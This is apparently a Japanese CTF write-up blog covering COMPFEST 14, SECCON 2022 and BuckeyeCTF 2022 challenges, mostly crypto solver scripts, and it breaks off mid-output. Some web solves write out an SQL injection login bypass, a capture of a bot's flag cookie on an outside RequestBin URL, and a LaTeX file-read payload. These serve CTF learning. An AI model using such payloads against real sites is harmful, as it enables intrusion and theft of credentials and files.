ciphertext (in hex): eeba4020a92f51ccb08f40230098e8c5442a1735d39a53305034ba74eb55e0afe21e409460204df2de0a27cd35f4267db2a827ccc972fc5e44e55fdb7c413e306aa543695b8bf9549b7d9c8a80f3c457ed853e642bdd50432eb9fa3eca74b6678cf2ba2683f3b2df8c6386daa2d413421f982cbb9b1d7711509ac86efb60b383
1. Get encrypted flag
2. Encrypt a message
3. Decrypt a message
4. Exit

$ nc 13.212.50.63 11688
1. Get encrypted flag
2. Encrypt a message
3. Decrypt a message
4. Exit
> 2
message (in hex) = 1111111111111111111111111111111111111111111111111111111111111111
ciphertext (in hex): 660995f5cbd73d0172f762fb6e53ab93660995f5cbd73d0172f762fb6e53ab93170dc1d2c55ff93f927ee5c27856acb793d6ec9cbcf87fe06773e72ee849748455cfb2892c070b19f0d812c7b7218691fd3761aa5d84f844df1bca34f96a5a38a0fb000c40b54c5f55fe00906ee8ef98bde103065d72c722afc0121d0b60c176
1. Get encrypted flag
2. Encrypt a message
3. Decrypt a message
4. Exit

AES暗号で暗号ブロックの構成は以下のようになると考えられる。

0123456789abcdef
IIIIIIIIIIIIIIII
FFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFF
PPPPPPPPPPPPPPPP

AES暗号のECBモードと推測し、1文字ずつはみ出させて、同じ暗号となるかを確認しながら、フラグを割り出す。

0123456789abcdef
XXXXXXXXXXXXXXXF
XXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXF
FFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFP
#!/usr/bin/env python3
import socket

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('13.212.50.63', 11688))

flag = ''
for i in range(96):
    for code in range(32, 127):
        print('[+] flag :', flag)
        try_pt = ('X' * 15 + flag)[-15:] + chr(code) + 'X' * (95 - i)
        try_pt_hex = try_pt.encode().hex()

        data = recvuntil(s, b'> ')
        print(data + '2')
        s.sendall(b'2\n')
        data = recvuntil(s, b'= ')
        print(data + try_pt_hex)
        s.sendall(try_pt_hex.encode() + b'\n')
        data = recvuntil(s, b'\n').rstrip()
        print(data)

        ct = bytes.fromhex(data.split(' ')[-1])
        block0 = ct[:16]
        block6 = ct[96:112]
        if block0 == block6:
            flag += chr(code)
            break
    if flag[-1] == '}':
        break

print('[*] flag:', flag)

実行結果は以下の通り。

        :
1. Get encrypted flag
2. Encrypt a message
3. Decrypt a message
4. Exit
> 2
message (in hex) = 61634c455f663937616533613034377c58
ciphertext (in hex): 65ddb452545d43e30f6eea797b9fe25a828c7d5af5ff09a31a41f1514c89b57a375ac2a114358aa7b0805375e4c76ed098d40a5f13cc2db219e5227ccf753e666638eca199133385fcfeab15659785900e1919c1a346ef44220ad67b5a4aa1878332f7775dbc529bc7a9deff5ddada4354bd510b4278397c62cff94a61157493
[+] flag : COMPFEST14{1nDeP3ndenT_bLoCK_ENCryPt10n_w1Th_fl4G_ApP3nDED_0f_course_iTS_eCB_oracLE_f97ae3a047
1. Get encrypted flag
2. Encrypt a message
3. Decrypt a message
4. Exit
> 2
message (in hex) = 61634c455f663937616533613034377d58
ciphertext (in hex): 8332f7775dbc529bc7a9deff5ddada43828c7d5af5ff09a31a41f1514c89b57a375ac2a114358aa7b0805375e4c76ed098d40a5f13cc2db219e5227ccf753e666638eca199133385fcfeab15659785900e1919c1a346ef44220ad67b5a4aa1878332f7775dbc529bc7a9deff5ddada4354bd510b4278397c62cff94a61157493
[*] flag: COMPFEST14{1nDeP3ndenT_bLoCK_ENCryPt10n_w1Th_fl4G_ApP3nDED_0f_course_iTS_eCB_oracLE_f97ae3a047}
COMPFEST14{1nDeP3ndenT_bLoCK_ENCryPt10n_w1Th_fl4G_ApP3nDED_0f_course_iTS_eCB_oracLE_f97ae3a047}

SECCON CTF 2022 Quals Writeup

この大会は2022/11/12 14:00(JST)~2022/11/13 14:00(JST)に開催されました。
今回もチームで参戦。結果は1072点で726チーム中44位でした。
自分で解けた問題をWriteupとして書いておきます。

pqpq (crypto)

暗号化処理の概要は以下の通り。

・p, q, r: 512ビット素数
・n = p * q * e
・e = 2 * 65537
・padding: nのビット長を8で割った値からflagの長さを引いた数の長さのランダム文字列
・m = bytes_to_long(padding + flag)
・c1p = pow(p, e, n)
・c1q = pow(q, e, n)
・cm = pow(m, e, n)
・c1 = (c1p - c1q) % n
・c2 = pow(p - q, e, n)
・e, n, c1, c2, cmを出力

式を変形してみる。

c1 = p^e - q^e mod n
c2 = (p-q)^e mod n

e2 = e // 2とする。
c2 = pow((p - q) ** 2, e2, n) = pow(p**2 + q**2, e2, n)
   = pow(p**2, e2, n) + pow(q**2, e2, n)
   = (pow(p, e, n) + pow(q, e, n)) % n
c1 = (pow(p, e, n) - pow(q, e, n)) % n

c1とc2からpow(p, e, n)、pow(q, e, n)を計算できる。

pow(p, e, n) = (c2 + c1) % n
pow(q, e, n) = (c2 - c1) % n

このことから以下により、p, q, rを求める。

p = GCD(pow(p, e, n), n)
q = GCD(pow(q, e, n), n)
r = n // (p * q)

次にm**2を通常のRSA暗号の復号方法で復号する。その後は、Tonelli-Shanks Algorithmを使って、p, q, rについて、平方剰余を求め、中国人剰余定理により復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *
from sympy.ntheory.modular import crt
from re import *

def legendre(a, p):
    return pow(a, (p - 1) // 2, p)

def tonelli_shanks(a, p):
    if legendre(a, p) != 1:
        raise Exception("not a square (mod p)")

    q = p - 1
    s = 0
    while q % 2 == 0:
        q >>= 1
        s += 1

    for z in range(2, p):
        if legendre(z, p) == p - 1:
            break

    m = s
    c = pow(z, q, p)
    t = pow(a, q, p)
    r = pow(a, (q + 1) // 2, p)

    t2 = 0
    while True:
        if t == 0: return 0
        if t == 1: return r
        t2 = (t * t) % p
        for i in range(1, m):
            if t2 % p == 1:
                break
            t2 = (t2 * t2) % p
        b = pow(c, 1 << (m - i - 1), p)
        m = i
        c = (b * b) % p
        t = (t * c) % p
        r = (r * b) % p

with open('output.txt', 'r') as f:
    params = f.read().splitlines()

e = int(params[0].split(' ')[-1])
n = int(params[1].split(' ')[-1])
c1 = int(params[2].split(' ')[-1])
c2 = int(params[3].split(' ')[-1])
cm = int(params[4].split(' ')[-1])

cp = (c2 + c1) % n
cq = (c2 - c1) % n

p = GCD(cp, n)
q = GCD(cq, n)
r = n // (p * q)
assert p * q * r

phi = (p - 1) * (q - 1) * (r - 1)
d = inverse(e // 2, phi)
m2 = pow(cm, d, n)

ms = []
for i in [p, q, r]:
    m = tonelli_shanks(m2 % i, i)
    ms.append([m, i - m])

for mp in ms[0]:
    for mq in ms[1]:
        for mr in ms[2]:
            m = int(crt([p, q, r], [mp, mq, mr])[0])
            flag = long_to_bytes(m)
            if b'SECCON{' in flag:
                pattern = b'(SECCON{.+})'
                flag = search(pattern, flag).group(1).decode()
                print(flag)
SECCON{being_able_to_s0lve_this_1s_great!}

BuckeyeCTF 2022 Writeup

この大会は2022/11/05 9:00(JST)~2022/11/07 10:00(JST)に開催されました。
今回もチームで参戦。結果は3973点で688チーム中17位でした。
自分で解けた問題をWriteupとして書いておきます。

sanity (misc 1)

Discordに入り、#infoチャネルのトピックを見ると、フラグが書いてあった。

buckeye{0n_ur_m4rk5_937_537_h4ck}

buckeyenotes (web 50)

brutusB3stNut9999ユーザとしてログインする必要がある。以下でログインしてみると、フラグが表示された。

Username: brutusB3stNut9999' -- -
Password: (空)
buckeye{wr1t3_ur_0wn_0p3n_2_pwn}

Sinep (rev 50)

Ghidraでデコンパイルする。

undefined8 main(int param_1,long param_2)

{
  undefined8 uVar1;
  size_t sVar2;
  ulong uVar3;
  undefined4 local_2e;
  undefined2 local_2a;
  char *local_28;
  int local_1c;
  
  if (param_1 == 2) {
    printf("Your plain text: %s\n");
    puts("Applying Sinep Industry\'s Certified unbreakable algorithm.");
    local_2e = 0x656e6973;
    local_2a = 0x70;
    local_28 = *(char **)(param_2 + 8);
    printf("Final: 0x");
    local_1c = 0;
    while( true ) {
      uVar3 = (ulong)local_1c;
      sVar2 = strlen(local_28);
      if (sVar2 <= uVar3) break;
      local_28[local_1c] = *(byte *)((long)&local_2e + (long)(local_1c % 5)) ^ local_28[local_1c];
      printf("%02x");
      local_1c = local_1c + 1;
    }
    putchar(10);
    uVar1 = 0;
  }
  else {
    puts("Please enter the text to apply Sinep\'s patented algorithm.");
    uVar1 = 1;
  }
  return uVar1;
}

問題文に書かれている"111c0d0e150a0c151743053607502f1e10311544465c5f551e0e"を先頭から0x73, 0x69, 0x6e, 0x65, 0x70でXORをすればよい。

#!/usr/bin/env python3

enc = '111c0d0e150a0c151743053607502f1e10311544465c5f551e0e'
key = [0x73, 0x69, 0x6e, 0x65, 0x70]

enc = bytes.fromhex(enc)

flag = ''
for i in range(len(enc)):
    flag += chr(enc[i] ^ key[i % len(key)])
print(flag)
buckeye{r3v_i5_my_p45510n}

megaxord (crypto 60)

1バイト鍵のXORと推測して、ブルートフォースで復号する。CyberChefでXOR Brute Forceで見ると、key = 58のときに復号できているようだ。XORで0x58をKeyにして、復号する。

Power Rangers is an American entertainment and merchandising franchise built around a live-action superhero television series, based on the Japanese tokusatsu franchise Super Sentai. Produced first by Saban Entertainment, second by BVS Entertainment, later by Saban Brands, and today by SCG Power Rangers LLC and its parent company, Hasbro, the Power Rangers television series takes much of its footage from the Super Sentai television series, produced by Toei Company.[1] The first Power Rangers entry, Mighty Morphin Power Rangers, debuted on August 28, 1993, and helped launch the Fox Kids programming block of the 1990s, during which it catapulted into popular culture along with a line of action figures and other toys by Bandai.[2] By 2001, the media franchise had generated over $6 billion in toy sales.[3]

Despite initial criticism that its action violence targeted child audiences, the franchise has been commercially successful. As of 2022, Power Rangers consists of 29 television seasons of 21 different themed series and three theatrical films released in 1995, 1997, and 2017.

In 2010, Haim Saban, creator of the series, regained ownership of the franchise. It was previously owned for eight years by The Walt Disney Company. In 2018, Hasbro was named the new master toy licensee. Shortly afterwards, Saban Brands and Hasbro announced that the latter would acquire the franchise and the rest of the former's entertainment assets in a $522 million deal, with the first products from Hasbro becoming available in early 2019.[4][5]

Since Power Rangers derives most of its footage from the Super Sentai series, it features many hallmarks that distinguish it from other superhero series. Each series revolves around a team of youths recruited and trained by a mentor to morph into the eponymous Power Rangers, able to use special powers and pilot immense assault machines, called Zords, to overcome the periodic antagonists. In the original series Mighty Morphin, the wizard Zordon recruits "teenagers with attitude" against Rita Repulsa.[6]

When "morphed," the rangers become powerful superheroes wearing color-coded skin-tight spandex suits and helmets with opaque visors; identical except in individual rangers' color, helmet design, and minor styling such as incorporating a skirt. Morphed Rangers generally possess enhanced strength, durability, agility and combat prowess. Some possess superhuman or psychic abilities such as super-speed, element manipulation, extra-sensory perception or invisibility.[7] In addition, each individual ranger has a unique weapon, as well as common weaponry used for ground fighting.[note 1] When enemies grow to incredible size (as nearly all do), Rangers use individual Zords that combine into a larger Megazord.

Rangers teams operate in teams of three to five, with more Rangers joining the team later. Each team of Rangers, with a few exceptions, obeys a general set of conventions, outlined at the beginning of Mighty Morphin and implied by mentors throughout many of the other series: Power Rangers may not use their Ranger powers for personal gain or for escalating a fight (unless the enemy does so), nor may the Power Rangers disclose their identities to the general public.[note 2] The penalty for disobeying these rules is the loss of their power.

As in Super Sentai, the color palette of each Power Rangers team changes every series.[note 3] Only Red and Blue appear in every Ranger team, while a Yellow Ranger has been present in every series except Power Rangers Dino Charge and Power Rangers Dino Fury. Other colors and designations also appear throughout the series.[note 4] A Rangers' color designation also influences their wardrobe throughout the series: civilian clothing often matches Ranger color.[note 5]

The idea of adapting Sentai series for America emerged in the late 1970s after the agreement between Toei Company and Marvel Comics to exchange concepts to adapt them to their respective audiences. Toei, with Marvel Productions, created the Japanese Spider-Man television series, and produced three Super Sentai series, which had great success in Japan. Marvel and Stan Lee tried to sell the Sun Vulcan series to American television stations including HBO, but found no buyers and the agreement ended.[8][9]

Several years later, another idea to adapt Super Sentai began in the 80s when Haim Saban made a business trip to Japan, in which, during his stay at the hotel, the only thing that was being transmitted on his television was the Japanese series Choudenshi Bioman. At that time, Saban was fascinated by the concept of 5 people masked in spandex suits fighting monsters, so in 1985, he produced the pilot episode of Bio-Man, an American adaptation of Choudenshi Bioman, which was rejected by several of the largest American television stations.[10][11] His idea only took off in 1992, as Saban came to Fox Kids, whose president Margaret Loesch had previously helmed Marvel Productions and thus was familiar with Super Sentai.[12]

Production of Power Rangers episodes involves extensive localization of and revision of original Super Sentai source material to incorporate American culture and conform to American television standards. Rather than making an English dub or translation of the Japanese footage, Power Rangers programs consist of scenes featuring English-speaking actors spliced with scenes featuring either Japanese actors dubbed into English or the action scenes from the Super Sentai Series featuring the Rangers fighting monsters or the giant robot (Zord and Megazord) battles with English dubbing. In some series, original fight scenes are filmed to incorporate characters or items unique to the Power Rangers production.[13] Like many of Saban Entertainment previous ventures in localizing Japanese television for a Western audience, the plot, character names, and other names usually differ greatly from the source footage, though a few seasons have stayed close to the story of the original Super Sentai season. The American arm of Bandai, who co-produced the Sentai shows and manufactured its toys, worked with the adaptation of the Japanese names. A brainstorming among executives led to "Power Rangers", and for the specific show that would be made, Mighty Morphin Power Rangers, evoking the transformation sequences. The meeting also brought up the term "Zord" for the giant robots, to invoke both the sword that the Megazord carried, and the dinosaurs that were the team's theme.[12] Along with adapting the villains from the Super Sentai counterparts, most Power Rangers series also feature villains with no Sentai counterpart. Generally, the primary antagonist of a Power Rangers series (for example, Lord Zedd, Divatox, etc.) are not adapted from the Sentai. Exceptions to this includes Mighty Morphin, Zeo, Lightspeed Rescue and a few others which only use villains adapted from the Japanese shows.

The franchise began with Mighty Morphin Power Rangers (an American adaptation of the 1992 Japanese Super Sentai Series, Kyōryū Sentai Zyuranger), which began broadcasting as part of the Fox Broadcasting Company's Fox Kids programming block.[14]

In honour of Mighty Morphin Power Rangers's broadcast premiere, Hasbro announced "National Power Rangers Day" to be celebrated annually on August 28, 2018.[15][16]

Saban Entertainment produced and distributed Power Rangers from 1993 until the end of 2001, with Fox Kids broadcasting the series in the United States until the Fall of 2002. The Walt Disney Company acquired the franchise as part of a larger buyout of Fox Family Worldwide that took place in 2001.[14][17][18][19] Fox Family Worldwide subsequently became ABC Family Worldwide Inc.[19] This buyout also saw Saban Entertainment become BVS Entertainment in 2002, from News Corporation, Fox's parent company, and Haim Saban.[19]

From September 2002, Power Rangers had aired on various Disney-owned networks, including the ABC Kids program block on ABC, the ABC Family and Toon Disney cable networks, and Jetix-branded outlets worldwide.[14] Disney moved production of the franchise from Los Angeles to New Zealand after Wild Force ended, resulting in the closure of MMPR Productions.[citation needed] Several ABC affiliate broadcasting groups, including Hearst Television, declined to air the series due to the lack of FCC-compliant educational and informational content.[20]

2008's Power Rangers Jungle Fury was originally set to be the final season, but due to obligations with Bandai, Disney would produce 2009's Power Rangers RPM.[21] An article in The New Zealand Herald published on March 7, 2009, identified RPM as the last season of the Power Rangers run. Production manager Sally Campbell stated in an interview, "...at this stage we will not be shooting another season."[buckeye{m1gh7y_m0rph1n_w1k1p3d14_p4g3}][23] A September 1, 2009, revision to Disney A to Z: The Official Encyclopedia by Disney's head archivist Dave Smith states that "production of new episodes [of Power Rangers] ceased in 2009".[24] Production of Power Rangers ceased and the last series by BVS Entertainment, RPM, ended on December 26, 2009.[22]

On October 1, 2009, Bandai released a press release stating that Disney would re-broadcast Mighty Morphin Power Rangers in January 2010 on ABC Kids in lieu of producing a new season. A new toy line accompanied the broadcast and appeared in stores in the later part of 2009.[14][25][26]

On May 12, 2010, Haim Saban bought back the Power Rangers franchise from Disney for $43 million and announced plans to produce a new season of the television series.[27][28][29] Beginning with the eighteenth season, Samurai (using footage from the 2009 Super Sentai series, Samurai Sentai Shinkenger) the series would be produced under Saban Capital Group's new Saban Brands subsidiary and premiere on Nickelodeon on February 7, 2011.[28][30] Reruns of previous seasons and episodes would also begin airing on sister channel Nicktoons later that year.[30][31][32] In addition to Samurai, Saban announced plans to make a new Power Rangers movie.[33]

On July 2, 2012, Saban Brands announced that would it launch a new Saturday morning cartoon block on The CW, called Vortexx, on August 25, 2012, with reruns of Power Rangers Lost Galaxy to air on the block.[34][35][36][37][38]

On October 1, 2013, Saban Brands announced that it had extended agreements for the franchise with Nickelodeon and Bandai America Incorporated through 2016.[39] In January 2016, Saban and Nickelodeon extended their broadcast partnership through 2018.[40] In February 2018, it was announced that Power Rangers would continue airing on Nickelodeon through 2021.[41] That same month, Saban Brands appointed Hasbro as the global master toy licensee for Power Rangers in April 2019 with a future option to purchase the franchise.[42] On May 1, 2018, Saban would agree to sell Power Rangers and other entertainment assets to Hasbro for US$522 million in cash and stock.[43][44] The Saban Brands subsidiary ended operations upon the closure of the deal on July 2, 2018.[45]

The twenty-sixth and twenty-seventh seasons, Power Rangers Beast Morphers, would produced by Hasbro's Allspark studio. Beginning with the twenty-eighth season, Power Rangers Dino Fury, the series is being produced by Entertainment One (which was acquired by Hasbro on December 30, 2019, and merged with Allspark in October 2020).

In late April 2021, actor Chance Perez announced in an interview that the second season of Power Rangers Dino Fury (the twenty-ninth season overall) would premiere on Netflix in 2022; making it the first season of the show to air exclusively online through a streaming service. Meanwhile, new episodes of the series moved to the streaming service on June 15, 2021.[46][47][48][49]

この文章の中にフラグが含まれていた。

buckeye{m1gh7y_m0rph1n_w1k1p3d14_p4g3}

owl (web 70)

Discordでowl#9960にDMを送ると、ボットとして返す。スクリプトを見ると、"owl"と入力すると、以下の反応があることがわかる。

✨🦉 hoot hoot 🦉✨

試してみると、想定通り反応があった。
以下の正規表現を満たすURLを指定すると、クッキーにフラグをセットして、該当するURLにリクエストが飛ぶ。

/https?:\/\/(www\.)?([-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b)([-a-zA-Z0-9()@:%_\+.~#?&//=]*)/i

RequestBinで待ち受け、以下のURLをDMでメッセージとして投げる。

https://eoa58n346ohhiaa.m.pipedream.net/owl

すると、RequestBinで受信したリクエストの情報が確認できる。

クッキーにはフラグが設定されていた。

buckeye{7h3_m0r3_17_5335_7h3_1355_17_h0075}

textual (web 75)

以下のように入力して、flag.texを読み込むと、フラグが表示された。

\documentclass{article}
\begin{document}
\input{flag}
\end{document}

buckeye{w41t_3v3n_l4t3x_15_un54f3}

Twin prime RSA (crypto)

RSA暗号で、pとqの値が近いことから、Fermat法で素因数分解する。あとは通常通り復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *

def isqrt(n):
    x = n
    y = (x + n // x) // 2
    while y < x:
        x = y
        y = (x + n // x) // 2
    return x

def fermat(n):
    x = isqrt(n) + 1
    y = isqrt(x * x - n)
    while True:
        w = x * x - n - y * y
        if w == 0:
            break
        elif w > 0:
            y += 1
        else:
            x += 1
    return x - y, x + y

e = 0x10001
n = 20533399299284046407152274475522745923283591903629216665466681244661861027880216166964852978814704027358924774069979198482663918558879261797088553574047636844159464121768608175714873124295229878522675023466237857225661926774702979798551750309684476976554834230347142759081215035149669103794924363457550850440361924025082209825719098354441551136155027595133340008342692528728873735431246211817473149248612211855694673577982306745037500773163685214470693140137016315200758901157509673924502424670615994172505880392905070519517106559166983348001234935249845356370668287645995124995860261320985775368962065090997084944099
c = 786123694350217613420313407294137121273953981175658824882888687283151735932871244753555819887540529041840742886520261787648142436608167319514110333719357956484673762064620994173170215240263058130922197851796707601800496856305685009993213962693756446220993902080712028435244942470308340720456376316275003977039668016451819131782632341820581015325003092492069871323355309000284063294110529153447327709512977864276348652515295180247259350909773087471373364843420431252702944732151752621175150127680750965262717903714333291284769504539327086686569274889570781333862369765692348049615663405291481875379224057249719713021

p, q = fermat(n)
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode()
print(flag)
buckeye{B3_TH3R3_OR_B3_SQU4R3__abcdefghijklmonpqrstuvwxyz__0123456789}

scanbook (web)

適当な文字列を入力し、POSTすると、QRコードがチケットとして払い出される。デコードすると、32913163となった。また同じことをしたら、次のチケットのQRコードのデコード結果は32913168となった。
https://www.cman.jp/QRcode/qr_make/で 0 のQRコードを作成して、そのファイルをScanすると、フラグが表示された。

buckeye{4n_1d_numb3r_15_N07_4_p455w0rd}

fastfor (crypto)

check_hash関数でTrueを返す画像ファイルを送信すればよいらしい。
条件は以下の通り。

・IMG.pngと画像の縦、横のサイズが同じで、RGBAのデータを持つ。
・IMG.pngと同じ画像はNG
・im_alt: IMG.pngのピクセルデータのフーリエ変換
・in_alt: アップロードした画像のピクセルデータのフーリエ変換
・im_hash: im_altの標準偏差
・in_hash: in_altの標準偏差
・im_hash - in_hash < 1 かつ im_hash - in_hash > -1の場合にTrueを返す。

フーリエ変換標準偏差を使っていることから、一番頻度の高い色をわずかに変更して試す。

#!/usr/bin/env python3
from PIL import Image

img = Image.open('IMG.png').convert('RGBA')
w, h = img.size

output_img = Image.new('RGBA', (w, h), (255, 255, 255, 255))

dic = {}
for y in range(h):
    for x in range(w):
        rgba = img.getpixel((x, y))
        if rgba == (0, 0, 0, 0):
            rgba = (0, 0, 0, 1)
        output_img.putpixel((x, y), rgba)

output_img.save('try.png')

一番頻度の高い色は(0, 0, 0, 0)。これを(0, 0, 0, 1)にした画像をアップロードすると、フラグが表示された。

buckeye{D33p_w0Rk_N07_WhY_574ND4RD_d3V}

powerball (crypto)

サーバの処理概要は以下の通り。

・modulus: 128ビット素数
・multiplier = 2 ** 127 - 1
・seed = 2
・1024回以下繰り返し
 ・seed = (multiplier * seed) % modulus
・winningBalls = seedToBalls(seed)
 ・balls: seedを下から2桁ずつ入れた10個の配列
 ・ballsを返却
・seed = (multiplier * seed) % modulus
・winningBalls = seedToBalls(seed)

表示されている10個のボールはseedの下20桁の数字を下から2桁ずつ取り出したもの。予測する次の10個のボールは以下の計算をした後のseedの下20桁の数字を下から2桁ずつ取り出したもの。

seed = (multiplier * seed) % modulus

ブラウザのデベロッパーツールのコンソールを見ていると、全桁がわかるので、観察する。

{
    "last_winning_seed": "207085795274272794089636325975379145992",
    "flag": ""
}

{
    "last_winning_seed": "208113439439593207431218578529057570561",
    "flag": ""
}

{
    "last_winning_seed": "96236074504036443611070370555480962227",
    "flag": ""
}

{
    "last_winning_seed": "85288486979435612758169205395827308554",
    "flag": ""
}

{
    "last_winning_seed": "176413516664624173385053577793275165492",
    "flag": ""
}

{
    "last_winning_seed": "180588078520042388764140592665258796321",
    "flag": ""
}
{
    "last_winning_seed": "35459288262239978408513110903896220484",
    "flag": ""
}

{
    "last_winning_seed": "242069480937173469010146653925729324553",
    "flag": ""
}

LCGになっているので、その性質からmodulusを求める。あとはコンソールの最後の"last_winning_seed"の値から次の値を求める。

#!/usr/bin/ev python3
from Crypto.Util.number import *
from functools import reduce

multiplier = (2 ** 127) - 1

X = [
    207085795274272794089636325975379145992,
    208113439439593207431218578529057570561,
    96236074504036443611070370555480962227,
    85288486979435612758169205395827308554,
    176413516664624173385053577793275165492,
    180588078520042388764140592665258796321,
    35459288262239978408513110903896220484
]

p_mul = [X[i] * X[i+2] - X[i+1] * X[i+1] for i in range(len(X) - 2)]
p = reduce(GCD, p_mul)
print('[+] p =', p)
assert isPrime(p)

seed = 242069480937173469010146653925729324553
next_seed = seed * multiplier % p
print('[+] Next Seed =', next_seed)

print('[*] Next Balls:', end = ' ')
for i in range(10):
    ball = next_seed % 100
    print(ball, end=' ')
    next_seed //= 100

今回のセッションでのパラメータを使った実行結果は以下の通り。

[+] p = 271725303640457487194263865268491373983
[+] Next Seed = 212283984281179022309642184395089368487
[*] Next Balls: 87 84 36 89 50 39 84 21 64 9

次の値の下20桁をボールの値にして入力したら、フラグがメッセージ画面としてポップアップされた。

buckeye{y3ah_m4yb3_u51nG_A_l1N34r_c0nGru3Nt1al_G3n3r4t0r_f0r_P0w3rB4lL_wA5nt_tH3_b3st_1d3A}

SSSHIT (crypto)

サーバの処理概要は以下の通り。

・N_SHARES = 3
・MESSAGE: b"qxxxb, BuckeyeCTF admins, and NOT YOU"を数値化したもの
・p: 512ビット素数
・polynomial = [MESSAGE] + [2個の1以上p未満のランダム整数]
・points = [(1, polynomial[0] * pow(1, 0, p) + polynomial[1] * pow(1, 1, p) + polynomial[2] * pow(1, 2, p)),
            (2, polynomial[0] * pow(2, 0, p) + polynomial[1] * pow(2, 1, p) + polynomial[2] * pow(2, 2, p)),
            (3, polynomial[0] * pow(3, 0, p) + polynomial[1] * pow(3, 1, p) + polynomial[2] * pow(3, 2, p))]
・points[0]~points[2]を表示
・your_input: タプル入力(数値要素2個、1個目は1)
・points[0] = your_input
・xs: pointsの各要素の1個目のリスト
・ys: pointsの各要素の2個目のリスト
・y_intercept = 0
・product = 1
・product = (product * xs[1] * pow(xs[1] - xs[0], -1, p)) % p
・product = (product * xs[2] * pow(xs[2] - xs[0], -1, p)) % p
・y_intercept = (y_intercept + ys[0] * product) % p
・product = 1
・product = (product * xs[0] * pow(xs[0] - xs[1], -1, p)) % p
・product = (product * xs[2] * pow(xs[2] - xs[1], -1, p)) % p
・y_intercept = (y_intercept + ys[1] * product) % p
・product = 1
・product = (product * xs[0] * pow(xs[0] - xs[2], -1, p)) % p
・product = (product * xs[1] * pow(xs[1] - xs[2], -1, p)) % p
・y_intercept = (y_intercept + ys[2] * product) % p
・reconstructed_message: y_interceptのバイト文字列化したもの
・reconstructed_message が b"qxxxb, BuckeyeCTF admins, and ME"と一致している場合、フラグを表示

まず、pを算出したい。

(MESSAGE + polynomial[1] * 1 + polynomial[2] * 1) % p = c0
(MESSAGE + polynomial[1] * 2 + polynomial[2] * 4) % p = c1
(MESSAGE + polynomial[1] * 3 + polynomial[2] * 9) % p = c2

上記のように定義し、式を変形していく。

(c0 * 2 - c1) % p = (MESSAGE - polynomial[2] * 2) % p
(c0 * 3 - c2) % p = (MESSAGE * 2 - polynomial[2] * 6) % p
        ↓
((c0 * 2 - c1) * 3) % p = (MESSAGE * 3 - polynomial[2] * 6) % p
(c0 * 3 - c2) % p = (MESSAGE * 2 - polynomial[2] * 6) % p
        ↓
polynomial[2] * 6 = (MESSAGE * 3 - (c0 * 2 - c1) * 3) % p
polynomial[2] * 6 = (MESSAGE * 2 - (c0 * 3 - c2)) % p

(MESSAGE * 3 - (c0 * 2 - c1) * 3)と(MESSAGE * 2 - (c0 * 3 - c2))はpで割った値が同じため、差を因数分解し、大きい素数がpとなる。ただし、差が0の場合、素数を割り出せない場合は、もう一度接続しなおす。
次に行列にして計算する。

[pow(1, 0, p), pow(1, 1, p), pow(1, 2, p)]   [polynomial[0]]   [points[0][1]]
[pow(2, 0, p), pow(2, 1, p), pow(2, 2, p)] * [polynomial[1]] = [points[1][1]]
[pow(3, 0, p), pow(3, 1, p), pow(3, 2, p)]   [polynomial[2]]   [points[2][1]]

これを以下のように表す。

A * X = C

すると、以下のようにしてXを求めることができる。

X = A.inverse() * C

新しいpolynomial[0]は b"qxxxb, BuckeyeCTF admins, and ME" を数値化したものにしたい。新しいpolynomial[0]をa、polynomial[1]をb、polynomial[2]をcとする。

[pow(2, 1, p), pow(2, 2, p)]   [b]   [points[1] - a]
                             *     =
[pow(3, 1, p), pow(3, 2, p)]   [c]   [points[2] - a]

これを以下のように表す。

B * Y = D

すると、以下のようにしてY(b, c)を求めることができる。

Y = B.inverse() * D

あとは、以下を計算すれば、新しいpoints[0]がわかる。

points[0][1] = (a + b + c) % p
#!/usr/bin/env sage
import socket
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

MESSAGE = bytes_to_long(b'qxxxb, BuckeyeCTF admins, and NOT YOU')

while True:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('pwn.chall.pwnoh.io', 13382))

    points = []
    for _ in range(2):
        data = recvuntil(s, b'\n').rstrip()
        print(data)
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    points.append(eval(data))
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    points.append(eval(data))
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    points.append(eval(data))

    c0 = points[0][1]
    c1 = points[1][1]
    c2 = points[2][1]

    p = (MESSAGE * 3 - (c0 * 2 - c1) * 3) - (MESSAGE * 2 - (c0 * 3 - c2))
    if p == 0:
        s.close()
        continue
    if p < 0:
        p = - p
    for i in range(4096, 1, -1):
        if p % i == 0:
            p //= i
    if isPrime(p):
        break

print('[+] p =', p)

A = matrix(Zmod(p), [[1, 1, 1], [1, 2, 4], [1, 3, 9]])
C = matrix(Zmod(p), [[c0], [c1], [c2]])
X = A.inverse() * C
assert int(X[0][0]) == MESSAGE

a = bytes_to_long(b'qxxxb, BuckeyeCTF admins, and ME')
B = matrix(Zmod(p), [[2, 4], [3, 9]])
D = matrix(Zmod(p), [[c1 - a], [c2 - a]])
Y = B.inverse() * D

p0_y = (a + Y[0][0] + Y[1][0]) % p
ans = '(1, %d)' % p0_y

data = recvuntil(s, b'>>> ')
print(data + ans)
s.sendall(ans.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

I wrote down a list of people who are allowed to get the flag and split it into 3 using Shamir's Secret Sharing.
Your share is:
(1, 4012202499957398875137701086458100053606200152431965398724943498339900418491446564656882066806099985431339067004256795952346539431842642763866658480911116)
